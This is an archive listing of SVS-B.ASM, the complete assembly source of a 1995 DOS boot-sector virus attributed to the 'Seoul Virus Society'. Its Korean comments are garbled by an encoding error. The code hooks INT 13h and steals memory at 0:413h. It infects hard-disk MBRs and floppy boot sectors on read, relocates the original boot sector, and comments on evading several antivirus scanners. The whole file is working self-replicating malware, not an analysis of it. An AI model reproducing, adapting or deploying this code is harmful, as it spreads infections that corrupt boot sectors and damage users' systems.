home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KOREACOL.ZIP / SVS.ZIP / SVS-B.ASM < prev    next >
Assembly Source File  |  1997-01-05  |  8KB  |  215 lines

  1. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  2. ;
  3. ;                            SVS_Boot (Type B)
  4. ;                            *****************
  5. ;
  6. ; ╖íƒq : SVS_Boot.B
  7. ; öaƒe ╖íƒq : Assassin_Boot.B
  8. ; ╣A╕b╕a : ña╖í£ß»a╖ü ïí¼a (KOV : Knight Of Virus)
  9. ; ïa₧ô : ¼ß╢ë ña╖í£ß»a ╡e╨s (SVS : Seoul Virus Society)
  10. ; ╣A╕b╗í : ╨eèé (95.8.11)
  11. ;
  12. ; ┤σ┤ß : MASM / TASM
  13. ; ╣╖ƒA : ªü╦a / MBR
  14. ;
  15. ; ¼Θíw : KOV êa ╣A╕b╨e ªü╦a ña╖í£ß»a¥í MBR ╡A ╗ó╕≤ ës┴a░ß ñ߃Ñöa.
  16. ;        ╕a┴A ªü╦╖ ïíôw╖i êa╗íëí ╖╢öa.
  17. ;
  18. ;        ╖⌐ñe ïí┤Γ ╕w¡í ╡w╡b╖i 1 KB ║ë╖Ñöa.
  19. ;
  20. ; * SVS_Boot.A  : ┬A┴í ñß╕σ╖íöa. 94æe╡A ╣A╕bûA┤÷öaëí ╨eöa.
  21. ;                 360 KB ╢w╖a¥í ╣A╕bûA┤÷öa.
  22. ; ! SVS_Boot.B  : 1.2MB ùí»a╟aòí êq╡q »í╟Ñöa.
  23. ;
  24. ;
  25. ;
  26. ;
  27. ;
  28. ;
  29. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  30.  
  31.  BOOT          SEGMENT PARA 'BOOT'
  32.                ASSUME  CS:Boot, DS:Boot
  33.  
  34.  Start:        Jmp     Virus_Start           ; ╕±╧a
  35.                DB      59 dup (?)            ; BPB ╡w╡b
  36.  
  37. ;      TASM ╖a¥í ─±╠a╖⌐ ╨iÿü BPB ╡w╡b╖i ╣▒ ñaÄü┤ß ╨iê⌡╖íöa.
  38. ;    MS-DOS 5.0 ╡A áxëA ╣A╕bûA┤÷öa. /C ╡│¡e╖i ║üíe 60 ╖a¥í
  39. ;    ï⌐ëA ╨ü┤í╨eöa.
  40.  Virus_Start:
  41.                cli                           ; »a╚é ╣í╕Θ
  42.                xor     ax,ax                 ; AX=0000
  43.                mov     ds,ax                 ; DS=0000
  44.                mov     ss,ax                 ; SS=0000
  45.                mov     sp,07c00h             ; SP=7C00h
  46.                sti
  47.  
  48. ; SCAN ╖e 413hêa ê±┬ëûAíe ªü╦a ña╖í£ß»a£aëí ╗Ñöe╨eöa.
  49. ; └qëí¥í ╖í ña╖í£ß»aôe TBAV,F-PROT ╡A¼ß ╗Ñöe┤eûEöa.
  50.  
  51.                CLD
  52.                mov     bx,1304h              ; Unknown ╡A ê±┬ëûA╗í ┤gïí╢ß╨q
  53.                xchg    bh,bl                 ; BX =  0413h
  54.                dec     word ptr ds:[bx]      ; 1KB êq¡í(ña╖í£ß»aêa ¼a╢w)
  55.                mov     ax,ds:[bx]            ; AX╡A ║ë┤ßùe êt
  56.                mov     cl,06                 ; ¡Aïaáσ╦a ëü¼e
  57.                shl     ax,cl
  58.                mov     es,ax                 ; ES=DOS ╡A¼ß ¼a╢w┤e╨aôe ¡Aïaáσ╦a
  59.  
  60.                mov     si,07c00h             ; ña╖í£ß»aôe 0000:7C00h ╡A ╢ß├í╨eöa.
  61.                xor     di,di                 ; DI=0000
  62.                mov     cx, offset Endvirus   ; ï⌐╖í
  63.                repz    movsb                 ; Ñó¼a
  64.                nop                           ; NOP╖i ┤e╨ü║üíe ╡b»í ê±¼éûEöa.
  65.                push    es                    ; ña╖í£ß»aêa ╖╢ôe ë╡╖a¥í ╕±╧a
  66.                mov     ax, offset Get_Int13
  67.                push    ax
  68.                retf
  69.  
  70.  Get_Int13:
  71.                mov     si,004bh              ; Int 13h╖ü êt ┤Φïí
  72.                inc     si                    ; CPAV ╖ü Viral Code B X
  73.                mov     di,offset OldInt13    ; TBAV ╖ü Unkown ╖i ñw╗í╨a¥aëí
  74.                movsw                         ; êt╖i ╕ß╕w╨eöa.
  75.                movsw
  76.  
  77.                Push    cs                    ; DSôe CSêt
  78.                Pop     ds                    ;
  79.                xor     ax,ax                 ; ES=0000 ╗b, ╕ü ªü╦╖╨ië╡
  80.                mov     es,ax
  81.  
  82.                cmp     byte ptr ds:[Sector],00 ; ªü╦╖ ║ù╖Ñ ùí»a╟a ê±¼a
  83.                jnz     FloppyBooting         ; ╧i¥í╧í╖⌐ ëw╢ü ╨aùa êq╡q
  84.  
  85.                MOV     BX,01AEh              ; ╨aùa╖ü ëw╢ü ña╖í£ß»a Éüªü êt╖a¥í ªü╦╖
  86.  Next_PAT:     add     BX,+10h
  87.                cmp     byte ptr [BX],80h     ; DOS ╢w ªü╦a êt╖Ñêa?
  88.                jnz     Next_PAT
  89.                MOV     DX,[BX]               ; SI¥í ╨aíe CPAV ╡A¼ß ╗ÑöeûEöa.
  90.                MOV     CX,[BX+02]
  91.                JMP     Read_OrgBoot          ; ╕üªü╦╖╨q
  92.  
  93.  FloppyBooting:
  94.                mov     dl,80h                ; ╧i¥í╧í ëw╢ü ╨aùa êq╡q »í╟▒
  95.                call    Infect_BOOT           ;
  96.  
  97.                mov     cl,byte ptr ds:[Sector]
  98.                mov     dx,0100h
  99.  Read_OrgBoot:
  100.                mov     bx,07c00h
  101.                mov     ah,02                 ; ╢Ñ£ü ªü╦a ╖¬┤ßùi╖íïí
  102.                call    F_RWBoot2
  103.  
  104.  ReBoot:       xor     ax,ax                 ; Int 13hƒi ña╖í£ß»aêa └a╗í╨aëí öa»í ªü╦╖
  105.                mov     ds,ax
  106.                mov     si,0040h              ; 0:4Ch = Int 13h
  107.                mov     word ptr ds:[SI+0Ch],offset VirInt13
  108.                mov     ds:[SI+0Eh],cs
  109.                DB      0eah,00,7ch,00,00h    ; JMP 0000:7c00h
  110.  Sector        DB      03h                   ; 03=360KB
  111. ;     1.2MB ╖ííe       0Eh                   ; 0E=1.2MB
  112.  
  113. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  114. ;    ña╖í£ß»aêa êa¥í└ü¼ß ¼a╢w╨aôe Int 13h
  115. ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
  116.  
  117.  VirInt13:
  118.                cmp     dl,01                 ; C ùa£a╖íºa ╖ííe êq╡q╣A╢A
  119.                ja      Jump_Int13
  120.                cmp     ah,02                 ; ùí»a╟a ╖¬ïí ╖Ñêa?
  121.                jnz     Jump_Int13
  122.                call    Infect_BOOT           ; êq╡q ╤í┬ë
  123.  
  124.  Jump_Int13:   DB      0Eah                  ; ╕±╧a
  125.  OldInt13:     DD ?
  126.  
  127.  
  128.  Infect_BOOT:
  129.                Push    ax                    ; ╕ß╕w
  130.                Push    bx
  131.                Push    cx
  132.                Push    dx
  133.                Push    si
  134.                Push    di
  135.                Push    ds
  136.                Push    es
  137.  
  138.                Push    cs                    ; CS=DS=ES
  139.                pop     ds
  140.                Push    cs
  141.                pop     es
  142.  
  143.                mov     ah,02h                ; ªü╦a ¡B╚ß ╖¬ïí
  144.                call    F_RWBoot              ; ï⌐╖íƒi ║ë╖í¥aëí ═w¡e╤┴
  145.                jc      Exit
  146.  
  147.                mov     ax,DS:[0123h]         ; ña╖í£ß»a êq╡q ╡aªü ê±¼a
  148.                cmp     ax,DS:[0323h]
  149.                jz      Exit                  ; êq╡qûA┤÷╖aíe Å{Éüïí
  150.  
  151.  
  152.  GetBPB_ErrMsg:
  153.                cld
  154.                mov     si,0203h              ; ╢Ñ£ü BPB╖ü Éü╢w╖i Ñó¼a╨eöa.
  155.                mov     di,0003h
  156.                mov     cl,59
  157.                repz    movsb
  158.  
  159.                mov     si,offset Endvirus+200h ; ╡A£ßíA»í╗íƒi Ñó¼a╨eöa. öe, ╖íêt╖e ña╖í£ß»a
  160.                mov     di,offset Endvirus      ; ï⌐╖íêa ï⌐┤ß╗ííe ïa╡A áx┬ü┤ß ñaÄü┤ß ║ü┤ß┤í
  161.                mov     cx,512
  162.                sub     cx, offset  Endvirus  ; ╨eöa.
  163.                repz    movsb
  164.  
  165.                mov     byte ptr ds:[Sector],00 ; 00╖ííe ╨aùa ùí»a╟a╖▒
  166.                cmp     dl,80h                ; ╨aùa ùí»a╟a╖Ñêa?
  167.                jz      Write_BV
  168.  
  169.                mov     ah,03
  170.                Mov     bx,0200h              ; ╢Ñ£ü ªü╦a │aïí
  171.                mov     cl,03
  172.                mov     dh,01
  173.                cmp     byte ptr ds:[215h],0FDh ; 360KB ╢w╖Ñêa?
  174.                jz      Write_OrgBoot
  175.                mov     cl,0Eh                ; 1.2 MB ùí»a╟a╖ü ₧ü╦a Å{
  176.  Write_OrgBoot:
  177.                call    F_RWBoot2
  178.                mov     byte ptr Sector,cl
  179.  
  180.  Write_BV:
  181.                mov     ah,03                 ; ªü╦a ¡B╚ß╡A ña╖í£ß»a │aïí
  182.                xor     bx,bx
  183.                call    F_RWBoot1
  184.  Exit:
  185.                pop     es
  186.                pop     ds
  187.                pop     di
  188.                pop     si
  189.                pop     dx
  190.                pop     cx
  191.                pop     bx
  192.                pop     ax
  193.  R_InfectDsk:  RET
  194.  
  195. ;<><><><><><><><><><><><><><><><><><><><><><>
  196. ; ùí»a╟a╖ü ╖¬ïí/│aïí ╤í┬ë ═w¡e
  197. ;<><><><><><><><><><><><><><><><><><><><><><>
  198.  F_RWBoot:     mov     bx,0200h              ; ñß╠ß ║ü¡í
  199.  F_RWBoot1:    mov     cx,0001h              ; ïíÑÑêt╖e ªü╦a ¡B╚ß
  200.                mov     dh,00                 ;
  201.  F_RWBoot2:    mov     al,01                 ;
  202.                mov     di,0003
  203.  callInt13:    pushf
  204.                call    dword ptr cs:OldInt13
  205.                jnc     Return
  206.                dec     di
  207.                jnz     callInt13
  208.                stc
  209.  Return:       ret
  210.  Virus_name    DB      'SVS.B'               ; ña╖í£ß»a ╖íƒq
  211.  Endvirus:
  212.  
  213.  Boot          ENDS
  214.                END     START
  215.